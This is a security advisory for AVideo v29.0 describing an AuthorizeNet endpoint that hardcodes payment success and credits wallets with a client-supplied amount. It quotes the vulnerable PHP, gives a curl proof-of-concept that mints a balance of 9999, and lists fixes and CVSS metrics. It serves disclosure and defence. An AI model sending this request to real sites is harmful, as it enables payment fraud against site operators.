Skip to content

Authenticated wallet credit bypass in AuthorizeNet processPayment endpoint

High
DanielnetoDotCom published GHSA-9392-pj54-qqf8 May 19, 2026

Package

WWBN/AVideo

Affected versions

v29.0

Patched versions

None known

Description

Summary

plugin/AuthorizeNet/processPayment.json.php credits the logged-in user's wallet based only on the attacker-controlled amount POST parameter.

The endpoint contains a TODO for real Authorize.Net charging, hardcodes $paymentSuccess = true, and then calls YPTWallet::addBalance() without validating
any Authorize.Net transaction, webhook signature, hosted payment token, nonce, or server-side payment record.

This allows any logged-in user to add arbitrary funds to their own AVideo wallet when the AuthorizeNet and YPTWallet plugins are enabled.

Details

Affected file:

plugin/AuthorizeNet/processPayment.json.php

Relevant code:

$amount = isset($_POST['amount']) ? floatval($_POST['amount']) : 0;
$userData = isset($_POST['userData']) ? $_POST['userData'] : [];

if ($amount <= 0) {
    echo json_encode(['error' => 'Invalid amount']);
    exit;
}

// TODO: Implement payment logic using Authorize.Net API
// Example: Call Authorize.Net API here
// $result = $plugin->chargePayment($amount, $userData);

// Simulate payment success for now
$paymentSuccess = true;
$users_id = @User::getId();

if ($paymentSuccess && !empty($users_id)) {
    $walletPlugin = AVideoPlugin::loadPluginIfEnabled("YPTWallet");
    if ($walletPlugin) {
        $walletPlugin->addBalance($users_id, $amount, 'Authorize.Net one-time payment');
        echo json_encode(['success' => true, 'result' => 'Payment processed and wallet updated']);
        exit;
    }
}

Vulnerable flow:

  1. $_POST['amount'] is read from the client.
  2. The endpoint only checks that the amount is greater than zero.
  3. The real Authorize.Net charge is not performed.
  4. $paymentSuccess is hardcoded to true.
  5. The logged-in user's wallet is credited with the client-supplied amount.

There is no verification of:

  • Authorize.Net transaction ID
  • payment token
  • webhook signature
  • pending payment record
  • expected server-side amount
  • currency
  • duplicate transaction/replay state

PoC

Prerequisites:

  • AVideo with AuthorizeNet plugin enabled
  • YPTWallet plugin enabled
  • Attacker has any valid user account

Steps:

  1. Log in as a low-privileged user.
  2. Open the wallet page and record the current balance.
  3. Send the following request with the user's authenticated session cookie:
  curl -i -s -b 'PHPSESSID=<user_session>' \
    -X POST 'https://target.example/plugin/AuthorizeNet/processPayment.json.php' \
    --data 'amount=9999&userData[note]=poc'
  1. The endpoint returns:
  {"success":true,"result":"Payment processed and wallet updated"}
  1. Refresh the wallet page.
  2. The wallet balance is increased by 9999.

No Authorize.Net hosted payment page, card payment, transaction confirmation, webhook, or server-side payment validation is required.

Impact

A normal authenticated user can mint arbitrary wallet balance.

Depending on the target site's configuration, this may allow the attacker to:

  • purchase paid videos or subscriptions without payment
  • abuse any feature backed by YPTWallet
  • transfer fake funds to other users
  • manipulate accounting or payout-related workflows
  • bypass monetization controls

Recommended fix

  • Remove or disable processPayment.json.php if it is obsolete.
  • Never credit wallet balance from client-supplied amount alone.
  • Use the existing Authorize.Net hosted token / webhook / transaction reconciliation flow.
  • Require a verified Authorize.Net transaction ID and server-side amount lookup before calling addBalance().
  • Add regression tests proving arbitrary POSTs cannot credit a wallet.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2026-47696

Weaknesses

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

Credits